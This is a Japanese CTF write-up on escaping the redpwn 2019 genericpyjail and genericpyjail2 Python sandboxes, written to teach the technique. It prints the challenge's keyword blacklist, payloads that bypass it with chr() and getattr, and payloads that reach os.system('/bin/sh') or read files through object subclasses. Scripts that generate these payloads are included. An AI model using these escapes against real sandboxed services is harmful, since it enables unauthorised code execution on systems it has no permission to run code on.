redpwn CTF 2019 - genericpyjail, genericpyjail2
お断り
問題としては2つ解きましたが、関連しているので1つの記事にしました。
TL;DR
genericpyjail
- Python2系のPyjail問題で、入力文字列に対するブラックリストがある
- 当然のように有用な関数はそのまま使えないが、
locals()
は使えるのでそこから__builtins__
を使い、import os; os.system()
で任意コード実行へ持っていく - なおブラックリストはPythonの文字列として送り込むなら
chr()
を使って回避出来るのでgetattr()
等を使って文字列として扱う形でコードを実行するようにする
genericpyjail2
- Python2系のPyjail問題でgenericpyjailの続き
- 今度は入力文字列に対するブラックリストが無い(おそらく)代わりに
__builtins__
から有用な関数が削除されている - というわけでタプルのような通常のオブジェクトから
__class__.__base__.__subclasses__()
を利用して基底クラスであるObject
の子クラスを漁り、使えそうなものを探す - 様々なpyjail問題のWriteupを読んで見つけた
<class 'warnings.catch_warnings'>
のコンストラクタからfunc_globals["linecache"].os.system
を実行する
Prerequisite
- PyJail(
locals()
やglobals
から__builtins__
を使う) - PyJail(
Object
まで辿ってその子クラスから使えるものを探す)
Writeup (genericpyjail)
blacklist.txt
という入力に使えない文字列一覧が書かれたリストが配られる。また、解き直しの為に問題スクリプトは回収して動かしたが、実際は配られていないらしい。ブラックリストは次の通り。
import
ast
eval
=
pickle
os
subprocess
i love blacklisting words!
input
sys
windows users
print
execfile
hungrybox
builtins
open
most of these are in here just to confuse you
_
dict
[
>
<
:
;
]
exec
hah almost forgot that one
for
@
dir
yah have fun
file
問題サーバーに接続すると次のような出力が得られる。
wow! there's a file called flag.txt right here!
>>>
flag.txt
というファイルを開けばフラグが得られそうである。また、>>>
に続く形でPythonコードを入力するとexec()
か何かで実行してくれるらしい。
普通にprint(open("flag.txt").read())
してもブラックリストに引っかかって出力出来ない、というわけで別のところからこいつらを引っ張ってくる必要がある。
常套手段として__builtins__
から引っ張ってくることが考えられる。ブラックリストにlocals()
は無いのでlocals()["__builtins__"].<function>
で引っ張ってくる。
ところがブラックリストのせいで角括弧は使えないしそもそも_
もbuiltins
も使えない。加えて.<function>
の部分に入れたい関数(print, __import__
等)はだいたいブラックリストで阻まれる。
前者の解決としては辞書に対するget()
メソッドを用いる。また、実行した時に文字列である"__builtins__"
が構成されれば良いのでchr()
を使って生成する。
後者の解決としてはgetattr()
を用いる。これの第二引数は文字列なのでchr()
を使う方法や、"os"
を"o"+"s"
や"o""s"
のように分裂させて引数に指定することでブラックリストを回避出来る。
こうして最終的に出来上がったペイロードがこちら。
getattr(getattr(locals().get(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))("o""s"),"sy""stem")("/bin/sh")
ある程度わかりやすい形にすると次のようになる。
getattr(getattr(locals().get("__builtins__"),"__import__")("os"), "system")("/bin/sh")
Writeup (genericpyjail2)
genericpyjailの続きで今度はブラックリストは与えられない代わりにopen
のような関数が使えない。__builtins__
自体は生きているのでひとまずgetattr
を利用してprint(locals())
を実行してみると次のようになる。
getattr(locals()["__builtins__"],"print")(locals())
now it's getattr(locals()["__builtins__"],"print")(locals()) !
{'gone': ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'], 'e': SyntaxError('invalid syntax', ('<string>', 1, 32, 'x=locals()["__builtins__"].print(3)\n')), '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'jail2.py', '__package__': None, 'func': 'input', 'x': 'getattr(locals()["__builtins__"],"print")(locals())', '__name__': '__main__', '__doc__': None}
あくまで推測だが、gone
に入れた関数がどれも使えなくなっているようである(解いた後でソースを確認したらdel __builtins__.__dict__[<gone_function>]
で破壊されていた)。流石にopen()
も__import__
も使えない状態で__builtins__
からファイルを読み込んだり、任意コード実行をするのは無理があるので策を練る必要がある。
こういう時の常套手段はObject
を基底クラスに持つオブジェクトのメソッドや要素から使えるものを探すことになる。ひとまずObject
に辿り着くには().__class__.__base__
で出来、子クラスの列挙には__subclasses__()
メソッドを使えば良い。
Python 2.7.18 (default, Mar 8 2021, 13:02:45)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ().__class__.__base__
<type 'object'>
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>>
ここから使えるものを探す。とりあえず2通りの解法を思いついたのでそれぞれ示しておく。
file
を使う
列挙したサブクラスを眺めていると<type 'file'>
が見つかる。help()
でfile
を覗いてみると次のようになっているので、第一引数にファイル名を指定すればopen("<filename>")
と等価なことが出来そうである。
class file(object)
| file(name[, mode[, buffering]]) -> file object
というわけで最終的なペイロードは次のようになった。
getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[40]("flag.txt").read())
warning.catch_warnings
からos.system
を呼び、シェルを召喚する
上記のfile
を用いる手法はファイル名が最初に開示されて判明しているから使えるが、もしファイル名を知らない場合は何かしらの方法で知る必要がある。手っ取り早いのはシェルを召喚することなのでこれを目標とする。
これは自分で考えたわけではなく、色々なpyjailのWriteup(但しこの問題のものは見ていない)や資料を眺めて試行錯誤した結果だが、どうも<class 'warnings.catch_warnings'>
から要素を辿っていくことでos.system()
が実行出来るようである。
具体的にはgetattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[59].__init__.func_globals)
をすると値に関数が来るような辞書が得られるが、何故か鍵に存在していない"linecache"
を指定するとos
モジュールへの参照が得られ、ここからsystem
を実行出来る。
(正直他のWriteupでも「これを使うと出来る」みたいな書き方がされているので何が起きているのかはよくわからない、モヤモヤするので分かる方居たら教えてください)
最終的なペイロードは次のようになった。
getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].os.system("/bin/sh"))
Code
genericpyjailのペイロード構築
def to_chr_func_seq(s):
ret = ""
for c in s:
ret = ret + f"chr({ord(c)})+"
return ret[:-1]
cmd = "cat flag.txt"
payload = f"""
getattr(getattr(locals().get({to_chr_func_seq("__builtins__")}),{to_chr_func_seq("__import__")})("o""s"),"sy""stem")("{cmd}")
""".strip()
"""
getattr(getattr(locals().get(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))("o""s"),"sy""stem")("ls")
"""
print(payload)
print("================= result and debug =================")
res = eval(payload)
print(res)
genericpyjail2のペイロード構築
chr()
を使う文字列の構築がいらないので、添字しか指定しないこのペイロード構築コードは実はあんまり役に経ってない
import sys
def to_chr_func_seq(s):
ret = ""
for c in s:
ret = ret + f"chr({ord(c)})+"
return ret[:-1]
idx = 40 # <type 'file'>
payload = f"""
getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[{idx}]("flag.txt").read())
""".strip()
idx = 59 # <class 'warnings.catch_warnings'>
payload = f"""
getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[{idx}].__init__.func_globals["linecache"].os.system("/bin/sh"))
""".strip()
print(payload)
if len(sys.argv) > 1 and sys.argv[1] == "-d":
print("================= result and debug =================")
res = eval(payload)
print(res)
Other Solution (genericpyjail)
help()
して適当な関数のヘルプを表示させるとless
で開くので!/bin/sh
するだけ
Flag
どちらもローカルでシェル取っただけ